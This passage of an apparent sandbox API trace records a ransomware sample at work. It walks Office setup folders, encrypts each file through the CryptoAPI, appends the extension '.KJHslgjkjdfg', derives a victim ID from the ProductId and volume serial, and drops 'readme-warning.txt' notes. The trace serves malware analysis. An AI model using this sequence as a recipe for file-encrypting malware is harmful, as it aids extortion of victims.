0x2a0000 [0143.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.698] GetProcessHeap () returned 0x2a0000 [0143.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.kjhslgjkjdfg")) returned 1 [0143.699] CloseHandle (hObject=0x13c) returned 1 [0143.699] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.700] GetProcessHeap () returned 0x2a0000 [0143.700] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.700] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.700] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.700] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x1, lpOverlapped=0x0) returned 1 [0143.702] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.702] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.702] GetProcessHeap () returned 0x2a0000 [0143.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.702] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.702] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.702] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.702] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.703] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.703] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.703] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.703] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.703] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.703] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.703] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.703] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x106f, lpOverlapped=0x0) returned 1 [0143.704] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1070, dwBufLen=0x1070 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1070) returned 1 [0143.704] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.704] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x1070, lpOverlapped=0x0) returned 1 [0143.704] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.704] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.704] SetEndOfFile (hFile=0x13c) returned 1 [0143.706] GetProcessHeap () returned 0x2a0000 [0143.706] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.707] GetProcessHeap () returned 0x2a0000 [0143.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.713] CloseHandle (hObject=0x13c) returned 1 [0143.713] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.713] GetProcessHeap () returned 0x2a0000 [0143.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.713] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.713] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.713] GetProcessHeap () returned 0x2a0000 [0143.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.713] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.713] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.713] GetProcessHeap () returned 0x2a0000 [0143.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.713] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.713] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.714] GetProcessHeap () returned 0x2a0000 [0143.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.714] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.714] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.714] GetProcessHeap () returned 0x2a0000 [0143.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.714] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.714] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.714] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.714] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.714] RegCloseKey (hKey=0x13c) returned 0x0 [0143.714] GetProcessHeap () returned 0x2a0000 [0143.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.714] GetProcessHeap () returned 0x2a0000 [0143.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.714] GetProcessHeap () returned 0x2a0000 [0143.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.714] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.714] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.715] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.715] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.715] GetProcessHeap () returned 0x2a0000 [0143.715] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.715] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.715] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.715] GetProcessHeap () returned 0x2a0000 [0143.715] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.715] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\readme-warning.txt") returned 112 [0143.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.717] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.728] CloseHandle (hObject=0x13c) returned 1 [0143.729] GetProcessHeap () returned 0x2a0000 [0143.729] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.730] GetProcessHeap () returned 0x2a0000 [0143.730] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.730] GetProcessHeap () returned 0x2a0000 [0143.730] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.730] GetProcessHeap () returned 0x2a0000 [0143.730] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.730] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.730] GetProcessHeap () returned 0x2a0000 [0143.730] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.730] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0143.730] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0143.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0143.731] GetProcessHeap () returned 0x2a0000 [0143.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.732] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.732] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0143.732] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0143.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0143.734] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.734] GetProcessHeap () returned 0x2a0000 [0143.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0143.734] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50) returned 1 [0143.734] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0143.734] WriteFile (in: hFile=0x118, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290efe8*=0x50, lpOverlapped=0x0) returned 1 [0143.734] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0143.734] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0143.734] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0143.734] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0143.734] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0143.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0143.734] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.734] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.734] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xaec3a, lpOverlapped=0x0) returned 1 [0143.747] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xaec40) returned 1 [0143.754] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.754] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xaec40, lpOverlapped=0x0) returned 1 [0143.757] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0143.757] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.757] SetEndOfFile (hFile=0x118) returned 1 [0143.761] GetProcessHeap () returned 0x2a0000 [0143.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0143.761] GetProcessHeap () returned 0x2a0000 [0143.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0143.762] CloseHandle (hObject=0x118) returned 1 [0143.762] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0143.762] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0143.762] GetProcessHeap () returned 0x2a0000 [0143.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd2) returned 0x2ed148 [0143.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.764] GetProcessHeap () returned 0x2a0000 [0143.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.764] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.764] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0143.764] GetProcessHeap () returned 0x2a0000 [0143.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2d4) returned 0x2f7730 [0143.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.764] GetProcessHeap () returned 0x2a0000 [0143.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.764] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.764] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: 